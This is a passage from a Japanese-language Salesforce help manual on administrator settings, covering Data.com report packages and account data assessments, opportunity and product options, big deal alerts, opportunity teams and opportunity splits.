• 「AppExchange パッ

ケージのダウンロー
ド」

取引先、取引先責任者、リードデータの分析に役立つその他のレポートにアク
セスできるようにします。

使用可能なエディション: Salesforce Classic

Data.com Prospector ライセンスで使用可能なエディション: Professional Edition、
Enterprise Edition、Performance Edition、および Unlimited Edition

Data.com Cleanライセンスで使用可能なエディション: Professional Edition、Enterprise

Edition、Performance Edition、および Unlimited Edition

メモ: これらのパッケージは、Data.com CleanおよびData.com Prospector用に設計されています。データイン
テグレーションを使用している場合は、独自のカスタムレポートを作成してください。
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複数のData.comレポートパッケージをAppExchangeで入手できます。インストールするレポートパッケージは、
関心の対象および使用するData.com製品によって異なります。さまざまなパッケージのリストと、インストー
ル方法の説明を次に示します。

考慮事項内容利用可能な AppExchange レポート
パッケージ

このパッケージをインストールす
るには、組織は Data.com Prospector

を使用する必要があります。

ダッシュボードおよび関連付けら
れたレポートは、取引開始済みの
リード数、売上予測、収益に関し
てData.comが提供する値を確認する

Data.com Prospector レポート

ために、営業マネージャが主に使
用します。

このパッケージをインストールす
るには、組織は Data.com Clean を使
用する必要があります。

ダッシュボードおよび関連付けら
れたレポートは、営業担当と、
Salesforceデータを最新の状態に保つ
ための操作を行う担当者が主に使
用します。

Data.com Clean レポート

このパッケージをインストールす
るには、組織は Data.com Prospector

ダッシュボードおよび関連付けら
れたレポートでは充実した D&B デー

Data.com データ評価の実行

または Data.com Clean を使用する必
要があります。

タが活用され、顧客に比類のない
洞察を与えます。これによって、
販売計画およびビジネス戦略が改
善されます。

組織では、30 日ごとに 1 つの評価を
要求できます。

Data.comでデータを充実させる方法
を説明します。

1. ダウンロードする Data.com レポートパッケージに移動します。
2. [今すぐ入手] をクリックします。
3. 使用する Data.com レポートパッケージをインストールします。
4. 組織で Professional Edition を使用している場合は、次の項目をページレイアウトに追加します。使用していな

い場合、これらの項目はレポートに表示されません。

項目ページレイアウト

Data.com から取得取引先

Data.com から取得取引先責任者

Data.com から取得リード

Data.com から取得商談
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5. Data.com レポートとダッシュボードが使用可能になったことをユーザに知らせます。

取引先データの評価の取得
Data.comデータ評価を要求できるようになり、取引先データの品質に関して情報に基づく判断を下せるように
なりました。評価では、取引先の全体的なデータ品質の概要と、主要な取引先項目の分析が提供されます。組
織のデータが変更されることはありません。データ評価は米国とカナダの組織のみで使用できます。現在の
Data.com Clean のお客様は、AppExchange パッケージの Data.com Clean Reports を使用することをお勧めします。

1. 取引先データ評価を要求
「取引先の会社情報」データインテグレーションルールを評価モードで有効にして、取引先データ評価を
要求します。

2. 取引先のデータ評価を参照する方法
データ評価では、取引先の全体的な健全性のスコアが提供されます。このスコアは、組織内で Data.com が
どの取引先レコードを照合して更新できるかをまとめたもので、業種、場所、従業員数、年間売上ごとの
顧客セグメントグラフが含まれています。データ評価は米国とカナダのSalesforce組織のみで使用できます。
この機能は、Lightning Experience でのみ使用できます。

取引先データ評価を要求

エディション

Lightning Experience および
Salesforce Classic で使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

「取引先の会社情報」データインテグレーションルールを評価モードで有効に
して、取引先データ評価を要求します。

メモ: Data.com Clean ユーザがクリーンアップジョブを使用する場合は、無
償の AppExchange パッケージ「Data.com Clean Reports」を使用してクリーン
アップの効果を確認できます。

1. [設定] から、[クイック検索] ボックスに「データインテグレーションルール」
と入力し、[データインテグレーションルール] を選択します。

2. ルールリストの [取引先の会社情報] をクリックします。
3. [ルール設定の編集] をクリックします。
4. [参照のみのデータ評価を生成] をクリックし、[保存] をクリックします。

ルールを保存または有効化するには、データ評価の契約条件に同意する必要があります。
5. ルールが無効になっている場合は、[有効化] をクリックして有効化します。

[現在の状況] 項目にルールが評価モードで有効になっていることが示されます。

重要: 組織の取引先数が 100 以下の場合、評価の準備ができても通知は送信されません。
組織の取引先数が 100 を超える場合、評価が準備できると、SalesforceによりメールおよびLightning Experience

で通知されます。
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組織の規模によっては、評価に 24 時間以上かかることがあります。評価が完了したら、Lightning Experience

のアプリケーションランチャーに移動し、データ評価アプリケーションを選択して、評価をいつでも参
照することができます。

評価を組織の他のユーザと共有するには、それらのユーザに「データ評価」権限を付与します。

関連トピック:

取引先のデータ評価を参照する方法

取引先のデータ評価を参照する方法

エディション

Lightning Experience で使用
可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

データ評価では、取引先の全体的な健全性のスコアが提供されます。このスコ
アは、組織内で Data.com がどの取引先レコードを照合して更新できるかをまと
めたもので、業種、場所、従業員数、年間売上ごとの顧客セグメントグラフが
含まれています。データ評価は米国とカナダの Salesforce 組織のみで使用できま
す。この機能は、Lightning Experience でのみ使用できます。

データ品質

データの健全性のスコアは、3 つの要素を使用して計算されます。
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一致性
一致性には、Dun & Bradstreet データを使用して CRM レコードを最新かつ完全な状態に保つ場合の容易さが反
映されます。一般的に CRM レコードの一致性が高いと、住所項目や企業の Web サイトなどの重要な識別子
の入力率が高くなります。一致性の評価が高くなると、データの健全性の総合評価が向上します。

精度
精度は、Dun & Bradstreet データセットに対して完全かつ最新の状態になっている取引先レコードの割合 (%)

を測定したものです。貴重なマーケティングおよびセールスデータ (企業統計や財務など) が不完全であっ
たり、最新でなかったりすると、レコードの利用価値が下がります。精度の評価が高くなると、データの
健全性の総合評価が向上します。

ユニーク性
ユニーク性は、一致レコードから識別された重複取引先の数に基づいています。重複があると、データの
検索やレポートに影響を及ぼし、従業員の生産性が減少して顧客満足度が低下します。ユニーク性の評価
が高くなると、データの健全性の総合評価が向上します。

一致分析

一致分析は、Dun & Bradstreet データセットのレコードに一致するレコード数をまとめたものです。またレコー
ドの項目値がどれほど最新であるかも示します。
一致: 最新

すべての項目値が対応する Dun & Bradstreet レコードの項目値と完全に一致する取引先レコードの割合 (%)。
一致: 最新でない

Data.com が Dun & Bradstreet レコードと一致したが、Dun & Bradstreet レコードとは項目値が異なる取引先レコー
ドの割合 (%)。

不一致
Data.com が Dun & Bradstreet データセットのレコードと一致しなかった取引先レコードの割合 (%)。不一致レ
コードの割合 (%) が高いと思われる場合は、標準項目を使用して照合していない可能性があります。データ
のカスタム評価を要求するには、Salesforce のアカウントマネージャにお問い合わせください。
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顧客セグメント

顧客セグメントのグラフは、取引先データの内訳の詳細をグラフに表したものです。このグラフには、Data.com

によってより最新で精度の高いデータを提供できる可能性がある項目が表示されます。
業種

2 桁の標準産業分類 (SIC) コードで識別される上位 5 つの業種の取引先の内訳。
場所

会社の Dun & Bradstreet の第 1 請求先住所に基づいた特定の地域の取引先の内訳。
従業員数

取引先の会社の従業員数の内訳。この数値は、Salesforce の取引先データではなく、それらの会社の Dun &

Bradstreet データに基づくものです。
収益

Dun & Bradstreet の年間売上高に基づいた取引先の年間売上の内訳。

関連トピック:

取引先データ評価を要求
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販売のオプションの設定

商談および商品のカスタマイズ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

次の追加機能を設定して、商談および商品を最大限に活用します。

類似商談の有効化と設定
現在取り組んでいる商談の属性に一致する成立した商談を検索して、進行中
の商談を成立させるために役立つ情報にすばやくアクセスできます。
商品の商談への容易な追加
商談の作成時に商品を追加することをユーザに要求するようにSalesforceを設
定します。[商談の設定] で [商品を商談に追加するようユーザに促す] を選択
すると、新しい商談レコードの保存ボタンの表示ラベルは「保存 & 商品の追
加」になります。
商談アップデートリマインダーの有効化
更新された商談が的確かどうかによって、売上予測の正確さが左右されま
す。アップデートリマインダーを有効化すると、マネージャが直属の部下に
チームの進行中の商談に関する自動メールを送信できます。
商品と商品価格の同時有効化および無効化
商品を有効または無効にするときに、その商品に関連するすべての価格が同
時に有効または無効になるように、Salesforce を設定します。
商談商品に対する価格と数量の編集の制限
ユーザが商談の [価格] および [数量] 項目を更新できるかどうかを制御します。
商品スケジュールの有効化
一定期間に配送または支払が行われる商品のデフォルトの収益スケジュールと数量スケジュールを作成し
ます。さらに、システム管理者は、スケジュール設定を有効にして、商談時にユーザが個々の商品のスケ
ジュールを作成できるようにします。
商品ファミリを使用
大規模商談アラートの有効化
取引金額が大きい商談に関する通知メールを自動的に送信するアラートを使用できます。商談アラートは、
組織で 1 つだけ有効にできます。このアラートメッセージは、選択したユーザのためのページレイアウト
と言語が含まれる商談詳細ページに似ています。
大規模商談アラートのカスタマイズ
取引金額が大きい商談に関する通知メールを自動的に送信するアラートを使用できます。商談がしきい値
に達したときにメールを送信するこのアラートをカスタマイズします。

関連トピック:

商談
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類似商談の有効化と設定

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

類似商談を有効化および
設定する
• 「アプリケーションの

カスタマイズ」

現在取り組んでいる商談の属性に一致する成立した商談を検索して、進行中の
商談を成立させるために役立つ情報にすばやくアクセスできます。

メモ:

• 検索は OR ステートメントで構成されます。したがって、成立した商談
が類似とみなされるには、1 つの条件にのみ一致する必要があります。
最適な検索結果を得るには、複数の検索語を含めます。

• [類似商談] 関連リストに表示する商談項目を決定するときは、共有ルー
ルやユーザ権限とは無関係に、表示されるすべての項目をユーザが参照
できることに注意してください。

1. [設定] から、[クイック検索] ボックスに「類似商談」と入力し、[類似商談]

を選択します。
2. [編集] をクリックします。
3. [類似商談の有効化] を選択します。
4. 類似商談の検索時に突き合わせる項目または関連リストを選択し、[追加] を

クリックします。
5. [類似商談] 関連リストに表示する項目を選択します。
6. [保存] をクリックします。
7. [類似商談] 関連リストが商談ページレイアウトに追加されたことを確認しま

す。

関連トピック:

類似商談を検索するためのガイドライン

商品の商談への容易な追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の作成時に商品を追加することをユーザに要求するように Salesforce を設定
します。[商談の設定] で [商品を商談に追加するようユーザに促す] を選択する
と、新しい商談レコードの保存ボタンの表示ラベルは「保存 & 商品の追加」に
なります。

関連トピック:

商品の概念
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商談アップデートリマインダーの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

商談の自動アップデート
リマインダーを有効化す
る
• 「アプリケーションの

カスタマイズ」または
「ユーザの管理」

商談アップデートリマイ
ンダーを有効または無効
にする
• 「ユーザの管理」

更新された商談が的確かどうかによって、売上予測の正確さが左右されます。
アップデートリマインダーを有効化すると、マネージャが直属の部下にチーム
の進行中の商談に関する自動メールを送信できます。
1. [設定] から、[クイック検索]ボックスに「アップデートリマインダー」と入力

し、[アップデートリマインダー] を選択します。
2. [編集] をクリックします。
3. [組織にアップデートリマインダーを有効にする] を選択します。
4. 必要に応じて、[直属の部下を持つユーザに対するリマインダーを自動的に有効

にする] を選択し、直属の部下を持つすべてのユーザに商談アップデートリ
マインダーをスケジュール設定します。

5. [保存] をクリックします。
6. 直属の部下を持つすべてのユーザを自動的に有効にしなかった場合、商談

アップデートリマインダーをスケジュール設定できるユーザを選択します。
直属の部下を持つユーザはすべて追加することができます。

7. [有効化] をクリックします。
8. それらのユーザに、直属の部下のアップデートリマインダーをスケジュール

設定できるようになったことを通知します。

メモ: 取引先所有者が商談アップデートリマインダーの送信を許可されて
いる場合、その取引先に対してエグゼクティブに割り当てられているすべ
てのパートナーユーザとカスタマーポータルユーザは、商談へのアクセス
権を持っていなくても、リマインダーを受け取ります。これらのユーザに
リマインダーが送信されないようにするには、エグゼクティブロールから
ユーザを削除してください。

関連トピック:

類似商談を検索するためのガイドライン
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商品と商品価格の同時有効化および無効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

商品価格を自動的に有効
または無効にする
• 「アプリケーションの

カスタマイズ」

商品を有効または無効にするときに、その商品に関連するすべての価格が同時
に有効または無効になるように、Salesforce を設定します。
1. [設定] から、[クイック検索] ボックスに「商品設定」と入力し、[商品設定]

を選択します。
2. [商品レコード上の有効フラグを変更した際に] を選択します。
3. 変更内容を保存します。

関連トピック:

商談商品に対する価格と数量の編集の制限
商品の概念

商談商品に対する価格と数量の編集の制限

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

価格と単位の編集を制限
する
• 「アプリケーションの

カスタマイズ」

ユーザが商談の [価格] および [数量] 項目を更新できるかどうかを制御しま
す。
[販売価格]および [数量]項目は必須ですが、ページレイアウトから削除でき、
デフォルト値が自動入力されます。これらの項目はユーザに表示されなくなり、
データを追加することもできません。
商談商品が関連付けられた価格表からの価格を確実に使用するには、商談商品
のページレイアウトから [販売価格] 項目を削除します。
商談商品のいずれかの数量を商談商品すべてに使用するには、商談商品のペー
ジレイアウトから [数量] 項目を削除します。

メモ: これらの項目をページレイアウトから削除できない場合は、Salesforce

に連絡して、このオプションを有効にします。

関連トピック:

商品と商品価格の同時有効化および無効化
商品の概念
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商品スケジュールの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一定期間に配送または支払が行われる商品のデフォルトの収益スケジュールと
数量スケジュールを作成します。さらに、システム管理者は、スケジュール設
定を有効にして、商談時にユーザが個々の商品のスケジュールを作成できるよ
うにします。
1. [設定] から、[クイック検索] ボックスに「商品スケジュール」と入力し、[商

品スケジュール設定] を選択します。
2. 組織の数量と収益によるスケジュールを有効にするには、適切なチェック

ボックスをオンにします。スケジュール種別を無効にすると、すべての既存
のスケジュール情報が商品から自動的に削除されます。
各スケジュール種別の定義については、「商品の概念」 (ページ1687)を参照し
てください。

3. 有効にしたスケジュール種別に対して、そのスケジュール種別を価格表のすべての商品で自動的に有効に
するかどうかを選択します。このオプションでは、価格表にあるすべての商品の [数量スケジュールの有
効] または [収益スケジュールの有効] チェックボックスが自動的に選択されます。

4. [保存] をクリックします。
スケジュールを商品ごとに詳細に管理するため、管理者はユーザが各商品に設定できるスケジュール種別を決
定できます。

メモ: スケジュールの有効化または無効化は、アーカイブ済み商品には影響しません。
Apexでスケジュールを参照している場合、無効にできるスケジュール種別 (数量または収益) は 1 つのみで
す。たとえば、Apexでスケジュールオブジェクト (コード内の OpportunityLineItemSchedule) を参照
している場合、片方のスケジュール種別を無効にすることはできますが、両方を無効にすることはでき
ません。

関連トピック:

商品の概念
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商品ファミリを使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

商品ファミリを編集する
• 「アプリケーションの

カスタマイズ」

商品を分類するには、[商品ファミリ] 選択リストを使用します。たとえば、会
社がハードウェアとソフトウェアの両方を販売している場合は、ハードウェア
とソフトウェアという 2 つの商品ファミリを作成できます。
組織でカスタマイザブル売上予測を使用している場合、ユーザは、ハードウェ
アとソフトウェアそれぞれの売上目標を設定することができます。また、ユー
ザは、ソフトウェア商品を扱う商談とは別に、ハードウェア商品を扱う商談の
売上予測を参照することもできます。
商品ファミリの使用を開始する手順は、次のとおりです。
• 販売する商品について複数のカテゴリを含む [商品ファミリ] 選択リストを

カスタマイズします。
• 価格表に掲載されている各商品について、商品を編集し、適切な [商品ファ

ミリ] 値を選択します。
• 組織でカスタマイザブル売上予測を使用している場合は、ユーザの各商品

ファミリに対して、異なる目標を設定できます。
• 組織でカスタマイザブル売上予測を使用している場合は、ユーザが [売上予

測] タブをクリックしたときに特定の売上予測ファミリ値をデフォルトで表
示するように売上予測設定を変更することを検討してください。

関連トピック:

商品の概念

大規模商談アラートの有効化
取引金額が大きい商談に関する通知メールを自動的に送信するアラートを使用できます。商談アラートは、組
織で 1 つだけ有効にできます。このアラートメッセージは、選択したユーザのためのページレイアウトと言語
が含まれる商談詳細ページに似ています。
操作を開始する前に、すべてのアラートに含めるページレイアウトと言語が設定されているユーザを決めま
す。対象となるユーザは、「すべてのデータの参照」権限を持っている必要があります。
1. [設定] から、[クイック検索] ボックスに「大規模商談アラート」と入力し、[大規模商談アラート] を選択し

ます。
2. アラートの名前を入力します。
3. [トリガとなる確度]と [トリガとなる金額]をマスタ通貨で入力します。商談アラートは、確度と金額が指

定された値かそれを超える商談で送信されます。アラートは、トリガとなる確度と金額の両方がそれぞれ
のしきい値の設定と一致する商談でのみ送信されます。

メモ: 商談の通貨がマスタ通貨とは異なる場合でも、商談は大規模商談アラートを起動できます。商
談の [金額] はマスタ通貨に変換されて [トリガとなる金額] と比較されます。高度な通貨管理を使用
している場合、期間指定換算レートが使用されます。

4. 設定の保存後に新しいアラートをすぐに有効にする場合は、[有効] チェックボックスをオンにします。
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5. [差出人名] を入力します。
6. [差出人メールアドレス] を入力します。

メモ: 差出人アドレスは、検証済みの組織の共有メールアドレスか、Salesforce プロファイルにリスト
されているメールアドレスにする必要があります。

7. メールの内容として適切な商談のページレイアウト、言語、および通貨が設定されたユーザを選択します。
対象となるユーザは、「すべてのデータの参照」権限を持っている必要があります。
マルチ通貨を使用している組織では、すべてのアラートで金額が商談の通貨で表示されます。商談の通貨
とこの手順で選択したユーザの通貨が異なる場合、メールには両方の通貨が表示されます。
メールの受信者をカンマで区切って入力します。CC受信者と BCC受信者も指定できますが、すべてのメー
ルアドレスが有効である必要があります。
BCC: 項目は、組織でコンプライアンス BCC メールを有効にしている場合は選択できません。

8. 商談の所有者をアラートメールに含める場合は、[商談 所有者へ通知する]チェックボックスをオンにしま
す。

9. [保存] をクリックします。

メモ: 商談が初めてしきい値に達したときに、商談のアラートにより通知が送信されます。したがって、
90 % の確度でしきい値に達した商談は、確度がその後さらに高くなった場合でも、追加のアラートのト
リガとなることはありません。ただし、すでにアラートのトリガとなり、その後確度がしきい値より下
がった商談は、再びしきい値に達したときに 2 回目のアラートのトリガとなります。
Connect Offlineをリモートで使用すると、アラートのトリガとなった商談を変更できます。データを更新す
るときに、アラートメッセージが送信されます。

関連トピック:

大規模商談アラートのカスタマイズ
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大規模商談アラートのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

大規模商談アラートを有
効にする
• 「アプリケーションの

カスタマイズ」

取引金額が大きい商談に関する通知メールを自動的に送信するアラートを使用
できます。商談がしきい値に達したときにメールを送信するこのアラートをカ
スタマイズします。
しきい値は、商談金額と確度で構成されます。たとえば、$500,000 の商談の確度
が 90% に達したときにメールをチームに送信できます。

関連トピック:

大規模商談アラートの有効化

営業チームのカスタマイズ

商談チームの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

商談チームの設定を使用
可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

営業担当者が簡単に商談についてコラボレーションできるようにします。

1. チームセリング設定の有効化
営業担当者が簡単に商談についてコラボレーションできるようにするには、
Salesforce で商談チームを有効にします。

2. 商談チームのカスタマイズに関する考慮事項
商談チームの役割やページレイアウトなどをカスタマイズして、商談チーム
の作業を効率化します。カスタマイズを行う前に、次の重要事項を考慮して
ください。

3. 商談チーム内の役割のカスタマイズ
商談チームの各メンバーには、取引先マネージャや営業担当者など、その商
談での役割があります。社内のチームメンバーの役割を追跡するには、
Salesforce で商談チームの役割をカスタマイズします。

4. 複数のレコードでのチームメンバーの更新に関する考慮事項
一括チーム再割り当てウィザードを使用する前に、次のいくつかの重要事項を考慮してください。
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5. 複数のレコードのチームメンバーの更新
Salesforce 組織で取引先チームや商談チームを使用している場合は、簡単な方法でレコードを最新の状態に
維持します。チームの一括再割り当てウィザードを使用して、複数のレコードのチームメンバーを同時に
追加、削除、置換します。

6. チームセリング設定の無効化の考慮事項
チームセリングを無効にする前に、次の重要事項を考慮します。

チームセリング設定の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

チームセリングを有効に
する
• 「アプリケーションの

カスタマイズ」

営業担当者が簡単に商談についてコラボレーションできるようにするには、
Salesforce で商談チームを有効にします。
1. [設定] から、[クイック検索] ボックスに「商談チームの設定」と入力し、[商

談チームの設定] を選択します。
2. 必要に応じて、設定を定義します。
3. 変更内容を保存します。

2163

営業チームのカスタマイズ販売ツールの設定および管理



商談チームのカスタマイズに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

商談の分割および商談
チームの設定を使用可能
なエディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

商談チームの役割やページレイアウトなどをカスタマイズして、商談チームの
作業を効率化します。カスタマイズを行う前に、次の重要事項を考慮してくだ
さい。
• 商談チームはLightning Experienceで使用できますが、商談の分割などの一部の

関連機能を使用するには、Salesforce Classic に切り替える必要があります。詳
細は、セールス機能の Lightning Experience の制限事項を確認してください。

• 商談チームあたり最大 50 個のカスタム項目を作成できます。
• カスタム項目を削除すると、そのカスタム項目を使用する検索条件も削除さ

れ、カスタム項目のデータに依存する割り当てまたはエスカレーションルー
ルの結果が変わることがあります。

• 親ページに商談チームメンバーの情報を表示するには、チームメンバーと親
とのリンクを作成する必要があります。たとえば、関連する取引先詳細ペー
ジにチームメンバーの情報を表示するには、「取引先」というカスタム参照
項目を商談チームエディタに追加して、商談チームメンバーごとにこの項目
を親取引先に設定します。

• 取引先などのオブジェクトから商談チームメンバーへの参照を作成できませ
ん。

• ユーザによってデフォルトの商談チームが商談に追加された場合、入力規則
および Apex トリガはサポートされません。

関連トピック:

商談チームの使用に関するガイドライン
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商談チーム内の役割のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

商談の分割および商談
チームの設定を使用可能
なインターフェース:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

チーム内の役割を設定す
る
• 「アプリケーションの

カスタマイズ」

商談チームの各メンバーには、取引先マネージャや営業担当者など、その商談
での役割があります。社内のチームメンバーの役割を追跡するには、Salesforce

で商談チームの役割をカスタマイズします。

警告:

• 商談所有者は変更せずにそのままにします。商談所有者は商談の分割に
必要です。

• 商談チームは、取引先チームと役割を共有します。商談チーム内の役割
を削除すると、その役割は、取引先チーム内の役割として表示されなく
なります。

1. [設定] から、[クイック検索] ボックスに「チーム内の役割」と入力し、[商談
チーム] の下の [チーム内の役割] を選択します。

2. 必要に応じて、チームの役割の選択リスト値を編集します。
3. 変更内容を保存します。
4. すべてのファイルの変更された選択リスト値を更新するには、[クイック検

索] ボックスに「チーム内の役割の置き換え」と入力し、[チーム内の役割の
置き換え] を選択します。

複数のレコードでのチームメンバーの更新に関する考慮事項
一括チーム再割り当てウィザードを使用する前に、次のいくつかの重要事項を
考慮してください。
• [設定] に [取引先チームの一括再割り当て]または [商談チームの一括再割り当

て]オプションが表示されていない場合は、[取引先] ページまたは [商談] ペー
ジに移動し、[ツール] セクションでオプションをクリックします。

• [商談分割] が有効になっている場合、合計が 100% になる必要がある分割に割
り当てられたチームメンバーを削除すると、削除されたチームメンバーの割
合は商談所有者に移行されます。商談所有者は削除できません。

• レコード内で変更するチームメンバーを選択するときは、次のようにします。
– 取引先チームの場合、適切な取引先、取引先責任者、ケース、および商談のアクセス権を選択します。
– 商談チームの場合、適切な商談アクセス権を選択します。次に、定義済みで商談チームのページレイア

ウトに追加されているカスタム項目に入力します。
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複数のレコードのチームメンバーの更新

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

チームメンバーを一括更
新する
• 「チーム再割り当て

ウィザードの使用」

Salesforce 組織で取引先チームや商談チームを使用している場合は、簡単な方法
でレコードを最新の状態に維持します。チームの一括再割り当てウィザードを
使用して、複数のレコードのチームメンバーを同時に追加、削除、置換します。
1. [設定] から、[クイック検索] ボックスに「一括再割り当て」と入力し、[取引

先チームの一括再割り当て] または [商談チームの一括再割り当て] を選択し
ます。
ウィザードの [ステップ 1] ページが表示されます。

2. 指示に従ってウィザードを完了します。
3. 変更されたレコードの数を確認したら、[完了] をクリックしてウィザードを

終了します。

関連トピック:

商談チームのカスタマイズに関する考慮事項

チームセリング設定の無効化の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

商談の分割および商談
チームの設定を使用可能
なインターフェース:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

チームセリングを無効にする前に、次の重要事項を考慮します。
• チームセリングを永久に無効にすると、すべての商談からすべての商談チー

ムが削除され、デフォルトの商談チームも削除されます。
• 商談分割が有効になっている場合、チームセリングを無効にできません。
• チームメンバーがApexで参照されている場合、チームセリングを無効にでき

ません。
• チームセリングを無効にする前に、次の操作を実行します。

– 商談分割を無効にします。これにより、Salesforce 組織からすべての分割
データが完全に削除されます。

– 商談チームに追加したすべてのカスタム項目、カスタムボタン、カスタ
ムリンク、ページレイアウト、入力規則、ワークフロールール、Apex ト
リガを削除します。

– 商談チーム情報を含むすべてのカスタムレポートを削除します。
– 商談チームを使用する Apex パッケージをアンインストールします。

• チームセリングを無効にする
– 「アプリケーションのカスタマイズ」権限が必要です。
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– 商談チームの設定にアクセスします。[設定] から、[クイック検索] ボックスに「商談チームの設定」と
入力し、[商談チームの設定] を選択します。

関連トピック:

商談チームのカスタマイズに関する考慮事項
商談分割の無効化の考慮事項

商談分割の管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Enterprise Edition および
Unlimited Edition (Sales
Cloud 付属)

営業担当者が簡単に商談収益を共有できるようにします。

1. 商談分割の有効化の考慮事項
商談分割を有効にする前に、次の重要事項を考慮します。

2. 商談分割の有効化
営業担当が簡単に商談に関してコラボレーションし、商談の収益をチームメ
ンバーと共有できるようにします。

3. カスタム商談分割種別の作成
業務をより良く反映するように、商談通貨項目のカスタム商談分割種別を作
成します。収益分割とオーバーレイ分割以外に 3 つまで、使用する種別を作
成できます。その後、各種別の合計が常に 100% になるかどうかを指定しま
す。

4. 商談分割種別を削除する場合の考慮事項
通常は最大 5 つの分割種別がありますが、別の分割種別が必要な場合は、いずれかの商談分割種別を無効
化します。または、ほとんど使用しない種別を削除してストレージを削減します。商談分割種別を無効化
または削除する前に、次の重要な点を考慮してください。

5. 商談分割の複数行レイアウトの編集の考慮事項
営業担当が商談分割を編集するときに Salesforce に表示される項目をカスタマイズする前に、次の重要事項
を考慮します。

6. 商談分割の無効化の考慮事項
Salesforce 組織で商談分割を使用していない場合は、この機能を無効にすることができます。その前に、次
の重要事項を考慮します。
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商談分割の有効化の考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Enterprise Edition および
Unlimited Edition (Sales
Cloud 付属)

商談分割を有効にする前に、次の重要事項を考慮します。
一般的な考慮事項

• 商談分割を有効にするには、チームセリングを有効化する必要がありま
す。

• 商談分割を有効にすると、Salesforce 組織内の商談レコードが変更されま
す。変更点を次に示します。
– スクリプトによって、商談チームレコードのトリガ、ワークフロー、

入力規則や、商談チームメンバーの一括再割り当て、および取引先と
商談の一括移行が一時的に無効になります。

– 各商談チームには商談所有者が含まれます。商談所有者のロールは分
割に不可欠であるため、削除することはできません。

– 合計で 100% になる分割種別を有効化した場合、新しい商談分割レコー
ドには、所有者のデフォルトエントリが含まれます。この所有者は、初期設定では分割金額の 100%

を受け取ります。(これらの追加レコードには、データストレージがさらに必要です。この余分なス
トレージ量の要件による Salesforce 組織への影響については、Salesforce ヘルプで「ストレージリソー
スの監視」を検索してください)。

• 無効な分割種別を含め、最大 5 個の分割種別を設定できます。商談分割種別の名前の変更、一時的な無
効化、完全な削除を行うには、[商談分割] 設定ページに戻って [分割種別を編集] をクリックします。分
割種別を削除すると、分割データが削除されます。デフォルトの分割種別は削除できません。

• [分割の編集中にユーザが商談チームにメンバーを追加できるようにする] が選択されていない場合、
ユーザを商談分割に追加するには [商談チーム] に追加済みである必要があります。

適切な時間帯
商談分割を有効にすると、Salesforce 組織内のすべての商談で分割を設定するプロセスが開始します。処理
する商談レコード数によっては、このプロセスに数時間かかる場合があります。プロセスの進行中もSalesforce

で作業を行うことはできます。自動化されたメール通知によって、スクリプトの最新状況が通知されます。
このプロセスは夜間に実行することをお勧めします。

無効な通貨
過去に有効であっても現在は無効な通貨が Salesforce 組織に存在する場合、このような通貨を使用する商談
レコードが存在する可能性があります。これらのレコードは分割の有効化プロセスの対象になりますが、
通貨が無効であるためプロセスが失敗する原因になります。失敗を防ぐため、または発生した失敗を修正
するためには、次の操作を実行します。
• 分割の有効化中に無効な通貨を有効にする (プロセスの完了後に再び無効にできます)。
